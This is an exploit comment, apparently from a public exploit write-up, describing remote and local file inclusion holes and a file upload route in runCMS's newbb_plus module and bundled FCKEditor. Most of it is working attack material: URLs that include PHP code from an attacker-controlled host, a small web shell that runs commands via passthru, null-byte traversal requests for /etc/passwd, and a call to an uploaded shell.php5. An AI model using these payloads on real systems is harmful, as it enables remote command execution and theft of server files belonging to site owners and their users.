/* a short explaination:

   i) on unpatched <=1.2 versions I tested:

   if register_globals = On & allow_url_fopen = On
   arbitrary remote inclusion in
   modules/newbb_plus/class/class.forumposts.php
   at line 15:

   ...
   include_once ($bbPath['path'].'/include/user_level.php');
   ...

   and in modules/newbb_plus/class/forumpollrenderer.php
   at line 14:

   ...
   include_once($bbPath['path']."language/".$xoopsConfig['language']."/main.php");
   ...

   poc:
   http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=http://somehost
   http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&xoopsConfig[language]=suntzu&bbPath[path]=http://somehost/

   where on [somehost] you have:

   <?php ob_clean();echo"HiMaster!";ini_set("max_execution_time",0);passthru($cmd);die;?>

   in http://[somehost]/include/user_level.php/index.html
   and in: http:/[somehost]/language/suntzu/main.php/index.html<br>

   it seems this vulnerabilties has been patched from 1.3 version
   and old packages <= 1.2 has been uptaded with new patches

   ii) on unpatched <=1.2:
   if allow_url_fopen = Off, but magic_quotes_gpc = Off, you can include a file
   from local resources:

   http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00
   http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?cmd=ls%20-la&bbPath[path]=../../../../../../test.php%00
   http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?bbPath[path]=../../../../../../../../etc/passwd%00
   http://[target]/[path]/modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=../../../../../../../../etc/passwd%00

   iii) on 1.3a version:

   also, integrated in runCMS we have an old version of FCKEditor
   (see this exploit link: http://retrogod.altervista.org/fckeditor_22_xpl.html)
   so you can upload files on target machine, .php3 files, .php5 and inc files
   call them directly (iii.a) and if not set as executable files on target machine,
   you can try local inclusion with versions <=1.2 (ii.b)

   poc:
   (iii.a) http://[target]/[path]/UserFiles/File/shell.php5?cmd=ls%20-la
   (ii.b) http://[target]/[path]/modules/newbb_plus/class/class.forumposts.php?cmd=ls%20-la&bbPath[path]=[how far from runcms root?]../../../UserFiles/File/shell.inc%00

                                                                              */
